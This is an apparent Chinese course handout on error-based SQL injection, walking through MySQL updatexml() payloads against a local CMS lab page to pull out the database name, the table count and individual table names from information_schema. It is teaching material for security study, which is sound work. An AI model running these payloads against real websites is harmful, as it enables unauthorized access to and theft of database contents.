计算机网络安全技术SQL注入之报错注入

2023年12月821:55:54发布者:EMT 25 views 举报
总字数:约2771字
第1页
1/8页

第2页
2/8页

第3页
3/8页

报错注入是什么?

在注入点的判断过程中,发现数据库中 SQL 语句的报错信息,会显示在页面中,因此可以利用报

错信息进行注入。

报错注入的原理,就是在错误信息中 执行 SQL 语句 。触发报错的方式有很多,具体细节也不尽相

同。此处建议直接背公式,将公式带换掉 1=1 的部分。

报错注入就是在判断 SQL 注入的注入点时发现 数据库的报错信息 会回显到页面上,那么就可以对报错信

息进行注入操作。

报错注入获取 cms 账号密码

打开 cms 数据库的网页: http://127.0.0.1/cms/show.php?id=33

打开 hackbar 插件,在 URL 中输入命令测试:

报错注入公式:

updatexml(xml_doument,XPath_string,new_value)

第一个参数: XML 的内容

第二个参数:是需要 update 的位置 XPATH 路径

第三个参数:是更新后的内容

所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合

XPATH 格式

函数利用和语法明白了,下面注入的 payload 就清楚明白

获取数据库名:

运行结果:

数据库名为 cms

updatexml(1,concat(0x5e,(select database()),0x5e),1)

?id=33 and updatexml(1,concat(0x5e,(select database()),0x5e),1)

计算机网络安全技术SQL注入之报错注入

获取表个数:

count * ):获取表个数

0x5e:^ 符,用来 分割报错和输出的结果

concat :将多个字符连接成一个字符串

运行结果:

一共有 8 个表

计算机网络安全技术SQL注入之报错注入

逐个获取表名:

报错注入不同于联合查询,它只能逐个获取表名

limit 0 1 :用来限定取第 0 行的一行记录,由于有 8 个表,也就是有 8 行数据,多取会报错。

?id=33 and updatexml(1,concat(0x5e,(select count(*) from

information_schema.tables where table_schema=database()),0x5e),1)

information_schema 元数据数据库

存储库名、表名( -- tables

存储列名( -- columns) ))

取第 0 行的一行记录:

运行结果:

找出表名 cms_article

计算机网络安全技术SQL注入之报错注入

去第 1 行的一行记录:

运行结果:

找出表名 cms_category

计算机网络安全技术SQL注入之报错注入

?id=33 and updatexml(1,concat(0x5e,(select table_name from

information_schema.tables where table_schema=database() limit 0,1),0x5e),1)

?id=33 and updatexml(1,concat(0x5e,(select table_name from

information_schema.tables where table_schema=database() limit 1,1),0x5e),1)

总页数:8
提示:下载前请核对题目。客服微信:diandahome
下载的文档都包含参考答案
特别声明:以上内容(如有图片或文件亦包括在内)为“电大之家”用户上传并发布,仅代表该用户观点,本平台仅提供信息发布。